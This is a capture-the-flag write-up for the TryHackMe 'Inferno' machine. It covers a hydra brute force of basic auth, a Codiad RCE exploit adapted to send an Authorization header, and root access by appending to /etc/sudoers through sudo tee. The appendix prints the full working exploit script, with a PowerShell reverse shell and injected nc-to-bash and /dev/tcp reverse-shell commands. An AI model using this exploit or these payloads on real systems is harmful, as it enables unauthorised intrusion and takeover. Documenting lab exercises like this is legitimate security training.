Featured image of post TryHackMe: Inferno Writeup

TryHackMe: Inferno Writeup

Learn about bruteforcing, custom exploit and an interesting sudo exploit.

Play

1. Scanning & Enumeration

We do the below scans in parallel.

1.1. Port Scanning

Not shown: 954 closed ports
PORT      STATE    SERVICE           VERSION
21/tcp    open     ftp?
22/tcp    open     ssh               OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d7:ec:1a:7f:62:74:da:29:64:b3:ce:1e:e2:68:04:f7 (RSA)
|   256 de:4f:ee:fa:86:2e:fb:bd:4c:dc:f9:67:73:02:84:34 (ECDSA)
|_  256 e2:6d:8d:e1:a8:d0:bd:97:cb:9a:bc:03:c3:f8:d8:85 (ED25519)
23/tcp    open     telnet?
25/tcp    open     smtp?
|_smtp-commands: Couldn't establish connection on port 25
80/tcp    open     http              Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Dante's Inferno
88/tcp    open     kerberos-sec?
106/tcp   open     pop3pw?
110/tcp   open     pop3?
389/tcp   open     ldap?
443/tcp   open     https?
464/tcp   open     kpasswd5?
636/tcp   open     ldapssl?
777/tcp   open     multiling-http?
783/tcp   open     spamassassin?
808/tcp   open     ccproxy-http?
873/tcp   open     rsync?
1001/tcp  open     webpush?
1236/tcp  open     bvcontrol?
1300/tcp  open     h323hostcallsc?
1309/tcp  filtered jtag-server
1805/tcp  filtered enl-name
1863/tcp  filtered msnp
2000/tcp  open     cisco-sccp?
2003/tcp  open     finger?
|_finger: ERROR: Script execution failed (use -d to debug)
2121/tcp  open     ccproxy-ftp?
2601/tcp  open     zebra?
2602/tcp  open     ripd?
2604/tcp  open     ospfd?
2605/tcp  open     bgpd?
2607/tcp  open     connection?
2608/tcp  open     wag-service?
4224/tcp  open     xtell?
5051/tcp  open     ida-agent?
5432/tcp  open     postgresql?
5555/tcp  open     freeciv?
5666/tcp  open     nrpe?
5998/tcp  filtered ncd-diag
6346/tcp  open     gnutella?
6566/tcp  open     sane-port?
6667/tcp  open     irc?
|_irc-info: Unable to open connection
8021/tcp  open     ftp-proxy?
8081/tcp  open     blackice-icecap?
8088/tcp  open     radan-http?
9418/tcp  open     git?
10000/tcp open     snet-sensor-mgmt?
10082/tcp open     amandaidx?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We see 42 serives running. Going through and testing each one of them is not possible.

1.2. Web Enumeration

┌──(kali㉿kali)-[~]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x 'php,html,txt' -t 32 -q -u 10.10.125.29
/index.html           (Status: 200) [Size: 638]
/inferno              (Status: 401) [Size: 459]

1.3. Web Exploration

homepage of thm room inferno

We see some quotes, which may be from the inferno book. We can explore them later if needed.

inferno page found asking for login and password

We see the page demanding login and password. Maybe we can try bruteforcing?

Possible usernames:

  • admin
  • dante (the guy who wrote inferno)
  • inferno (the name of the room)

1.4. Bruteforcing

┌──(kali㉿kali)-[~]
└─$ hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.125.29 http-get /inferno -t 64
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-06-26 00:13:47
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking http-get://10.10.125.29:80/inferno
[STATUS] 6189.00 tries/min, 6189 tries in 00:01h, 14338210 to do in 38:37h, 64 active
[80][http-get] host: 10.10.125.29   login: admin   password: {password}
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-06-26 00:16:05

Great! After logging in, we see another login form. Okay …

another login form in the inferno page

1.5. Codiad

Trying out the same creds gets us in. Now I looked for exploits for codiad.

┌──(kali㉿kali)-[~]
└─$ searchsploit codiad                      
-------------------------- ---------------------------------
 Exploit Title            |  Path
-------------------------- ---------------------------------
Codiad 2.4.3 - Multiple V | php/webapps/35585.txt
Codiad 2.5.3 - Local File | php/webapps/36371.txt
Codiad 2.8.4 - Remote Cod | multiple/webapps/49705.py
-------------------------- ---------------------------------
Shellcodes: No Results

Let’s try the RCE one!

Running the exploit, we get [-] Login failed! Please check your username and password.

But, we know for a fact that it is correct - otherwise we wouldn’t be able to login! Whats happening?

Recall we had to login another form before we saw this. Maybe adding the header of login password, as we saw before would help.

1.6. Custom Exploit

I first inspect the request itself, by intercepting it using burp suite.

GET /inferno HTTP/1.1
Host: 10.10.125.29
Cache-Control: max-age=0
Authorization: Basic {base64_encoded_authorization}
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

Looks like the line Authorization: Basic {base64_encoded_authorization} is the one we are looking for.

Decoing, we get admin:{password}. Great! Our hypothesis was correct. We just need to add this auth line for all the requests made.

Add the line "Authorization": "Basic {base64_encoded_authorization}" to headers dictionary wherever present, or create a new one wherever not.

The code is attached at the very bottom.

2. Foothold

2.1. Codilad Custom RCE

Okay finally! Following the instructions we get a reverse shell.

┌──(kali㉿kali)-[~/Desktop/tools/files]
└─$ python3 codiad.py http://10.10.125.29/inferno/ admin {password} 10.17.8.184 1337 linux
[+] Please execute the following command on your vps: 
echo 'bash -c "bash -i >/dev/tcp/10.17.8.184/1338 0>&1 2>&1"' | nc -lnvp 1337
nc -lnvp 1338
[+] Please confirm that you have done the two command above [y/n]
[Y/n] y
[+] Starting...
[+] Login Content : {"status":"success","data":{"username":"admin"}}
[+] Login success!
[+] Getting writeable path...
[+] Path Content : {"status":"success","data":{"name":"inferno","path":"\/var\/www\/html\/inferno"}}
[+] Writeable Path : /var/www/html/inferno
[+] Sending payload...
{"status":"error","message":"No Results Returned"}
[+] Exploit finished!
[+] Enjoy your reverse shell!

getting remote code execution on the thm room inferno

Looks like the connection was immediately closed. Uh. Let’s try again?

Works! This time as soon as I got in, I spawned a bunch more bash shells. Threw in some /bin/sh ones as well XD

  • python3 -c 'import pty; pty.spawn("/bin/bash")'
  • python3 -c 'import pty; pty.spawn("/bin/sh")'

2.2 Exploring

Users

cd /home
ls
dante

SUID

find / -type f -perm -u=s 2> /dev/null
/bin/su
/bin/umount
/bin/ping
/bin/mount
/bin/fusermount
/usr/bin/gpasswd
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/traceroute6.iputils
/usr/bin/newgrp
/usr/bin/at
/usr/bin/chsh
/usr/bin/sudo
/usr/lib/eject/dmcrypt-get-device
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign

crontab

$ cat /etc/crontab    
cat /etc/crontab
# /etc/crontab: system-wide crontab  
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file          
# and files in /etc/cron.d. These files also have username fields,          
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

Kernel status

$ uname -a
uname -a
Linux Inferno 4.15.0-130-generic #134-Ubuntu SMP Tue Jan 5 20:46:26 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

Upto date

2.3. LinPEAS enumeration

[+] Sudo version
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version                                              
Sudo version 1.8.21p2 
[+] Backup folders
drwxr-xr-x 2 root root 4096 Jun 26 03:55 /var/backups                                                                     
total 32
-rw-r--r-- 1 root root 30810 Jan 11 15:22 apt.extended_states.0

drwx------ 2 root root 4096 Jan 11 15:19 /etc/lvm/backup
[+] Searching specific hashes inside files - less false positives (limit 70)
/etc/apache2/.htpasswd:$apr1$UIfo4gwg$N4DRURQTtq/wytcy8pdGq.

Nothing that we don’t already know.

2.4. Manual Exploration

$ ls -la /home/dante/Downloads
ls -la /home/dante/Downloads
total 4420
drwxr-xr-x  2 root  root     4096 Jan 11 15:29 .
drwxr-xr-x 13 dante dante    4096 Jan 11 15:46 ..
-rw-r--r--  1 root  root     1511 Nov  3  2020 .download.dat

We see some hex characters. Let’s use CyberChef to decode. We get the password for dante user!

dante:{this_is_in_the_last_line!}

3. PrivEsc

┌──(kali㉿kali)-[~]
└─$ ssh dante@10.10.125.29          
The authenticity of host '10.10.125.29 (10.10.125.29)' can't be established.
ECDSA key fingerprint is SHA256:QMSVr7PFqk9fLxwYBp9LCg9SjU6kioP9tJbL6ed0mZI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.125.29' (ECDSA) to the list of known hosts.
dante@10.10.125.29's password: 
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-130-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Jun 26 05:36:39 UTC 2021

  System load:  0.0               Processes:           620
  Usage of /:   42.2% of 8.79GB   Users logged in:     0
  Memory usage: 77%               IP address for eth0: 10.10.125.29
  Swap usage:   0%


39 packages can be updated.
0 updates are security updates.


Last login: Mon Jan 11 15:56:07 2021 from 192.168.1.109
dante@Inferno:~$ 

Yess! Finally SSH after the ***tty shells. This has the same issue btw, so make sure to spam shells (sh looks immune, bash gets killed :thonk:).

3.1. sudo

$ sudo -l
Matching Defaults entries for dante on Inferno:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User dante may run the following commands on Inferno:
    (root) NOPASSWD: /usr/bin/tee

We have it here on GTFOBins.

Here’s the one liner exploit for sudo tee: echo "dante ALL=(ALL:ALL) ALL" | sudo tee -a /etc/sudoers

What happened here?

man tee:

  • man page of tee: tee - read from standard input and write to standard output and files
  • -a flag appends data
  • we echo the line giving us all the permissions
  • and pipe it to sudo tee with the -a flag to append it in the /etc/sudoers file

Resultant:

$ sudo -l
Matching Defaults entries for dante on Inferno:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User dante may run the following commands on Inferno:
    (root) NOPASSWD: /usr/bin/tee
    (ALL : ALL) ALL

Great!

$ sudo su
root@Inferno:/home/dante# sh
# cd /root
# ls
proof.txt
# cat proof.txt
Congrats!

You've rooted Inferno!

{system_compromised}

mindsflee

And we are done!

A. Appendix: RCE Codilad Custom Exploit Code

# Exploit Title: Codiad 2.8.4 - Remote Code Execution (Authenticated)
# Discovery by: WangYihang
# Vendor Homepage: http://codiad.com/
# Software Links : https://github.com/Codiad/Codiad/releases
# Tested Version: Version: 2.8.4
# CVE: CVE-2018-14009

#!/usr/bin/env python
# encoding: utf-8
import requests
import sys
import json
import base64

session = requests.Session()


def login(domain, username, password):
    global session
    url = domain + "/components/user/controller.php?action=authenticate"
    data = {
        "username": username,
        "password": password,
        "theme": "default",
        "language": "en",
    }
    response = session.post(
        url,
        data=data,
        verify=False,
        headers={"Authorization": "Basic {base64_encoded_authorization}"},
    )
    content = response.text
    print("[+] Login Content : %s" % (content))
    if 'status":"success"' in content:
        return True


def get_write_able_path(domain):
    global session
    url = domain + "/components/project/controller.php?action=get_current"
    response = session.get(
        url, verify=False, headers={"Authorization": "Basic {base64_encoded_authorization}"}
    )
    content = response.text
    print("[+] Path Content : %s" % (content))
    json_obj = json.loads(content)
    if json_obj["status"] == "success":
        return json_obj["data"]["path"]
    else:
        return False


def base64_encode_2_bytes(host, port):
    payload = """
    $client = New-Object System.Net.Sockets.TCPClient("__HOST__",__PORT__);
    $stream = $client.GetStream();
    [byte[]]$bytes = 0..255|%{0};
    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
        $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
        $sendback = (iex $data 2>&1 | Out-String );
        $sendback2  = $sendback + "PS " + (pwd).Path + "> ";
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
        $stream.Write($sendbyte,0,$sendbyte.Length);
        $stream.Flush();
    }
    $client.Close();
    """
    result = ""
    for i in payload.replace("__HOST__", host).replace("__PORT__", str(port)):
        result += i + "\x00"
    return base64.b64encode(result.encode()).decode().replace("\n", "")


def build_powershell_payload(host, port):
    preffix = "powershell -ep bypass -NoLogo -NonInteractive -NoProfile -enc "
    return preffix + base64_encode_2_bytes(host, port).replace("+", "%2b")


def exploit(domain, username, password, host, port, path, platform):
    global session
    url = (
        domain
        + "components/filemanager/controller.php?type=1&action=search&path=%s" % (path)
    )
    if platform.lower().startswith("win"):
        # new version escapeshellarg
        # escapeshellarg on windows will quote the arg with ""
        # so we need to try twice
        payload = "||%s||" % (build_powershell_payload(host, port))
        payload = "search_string=Hacker&search_file_type=" + payload
        headers = {
            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
            "Authorization": "Basic {base64_encoded_authorization}",
        }
        response = session.post(url, data=payload, headers=headers, verify=False)
        content = response.text
        print(content)
        # old version escapeshellarg
        payload = "%%22||%s||" % (build_powershell_payload(host, port))
        payload = "search_string=Hacker&search_file_type=" + payload
        headers = {
            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
            "Authorization": "Basic {base64_encoded_authorization}",
        }
        response = session.post(url, data=payload, headers=headers, verify=False)
        content = response.text
        print(content)
    else:
        # payload = '''SniperOJ%22%0A%2Fbin%2Fbash+-c+'sh+-i+%3E%26%2Fdev%2Ftcp%2F''' + host + '''%2F''' + port + '''+0%3E%261'%0Agrep+%22SniperOJ'''
        payload = '"%%0Anc %s %d|/bin/bash %%23' % (host, port)
        payload = "search_string=Hacker&search_file_type=" + payload
        headers = {
            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
            "Authorization": "Basic {base64_encoded_authorization}",
        }
        response = session.post(url, data=payload, headers=headers, verify=False)
        content = response.text
        print(content)


def promote_yes(hint):
    print(hint)
    while True:
        ans = input("[Y/n] ").lower()
        if ans == "n":
            return False
        elif ans == "y":
            return True
        else:
            print("Incorrect input")


def main():
    if len(sys.argv) != 7:
        print("Usage : ")
        print(
            "        python %s [URL] [USERNAME] [PASSWORD] [IP] [PORT] [PLATFORM]"
            % (sys.argv[0])
        )
        print(
            "        python %s [URL:PORT] [USERNAME] [PASSWORD] [IP] [PORT] [PLATFORM]"
            % (sys.argv[0])
        )
        print("Example : ")
        print(
            "        python %s http://localhost/ admin admin 8.8.8.8 8888 linux"
            % (sys.argv[0])
        )
        print(
            "        python %s http://localhost:8080/ admin admin 8.8.8.8 8888 windows"
            % (sys.argv[0])
        )
        print("Author : ")
        print("        WangYihang <wangyihanger@gmail.com>")
        exit(1)
    domain = sys.argv[1]
    username = sys.argv[2]
    password = sys.argv[3]
    host = sys.argv[4]
    port = int(sys.argv[5])
    platform = sys.argv[6]
    if platform.lower().startswith("win"):
        print("[+] Please execute the following command on your vps: ")
        print("nc -lnvp %d" % (port))
        if not promote_yes(
            "[+] Please confirm that you have done the two command above [y/n]"
        ):
            exit(1)
    else:
        print("[+] Please execute the following command on your vps: ")
        print(
            "echo 'bash -c \"bash -i >/dev/tcp/%s/%d 0>&1 2>&1\"' | nc -lnvp %d"
            % (host, port + 1, port)
        )
        print("nc -lnvp %d" % (port + 1))
        if not promote_yes(
            "[+] Please confirm that you have done the two command above [y/n]"
        ):
            exit(1)
    print("[+] Starting...")
    if not login(domain, username, password):
        print("[-] Login failed! Please check your username and password.")
        exit(2)
    print("[+] Login success!")
    print("[+] Getting writeable path...")
    path = get_write_able_path(domain)
    if path == False:
        print("[+] Get current path error!")
        exit(3)
    print("[+] Writeable Path : %s" % (path))
    print("[+] Sending payload...")
    exploit(domain, username, password, host, port, path, platform)
    print("[+] Exploit finished!")
    print("[+] Enjoy your reverse shell!")


if __name__ == "__main__":
    main()
Built with Hugo
Theme Stack designed by Jimmy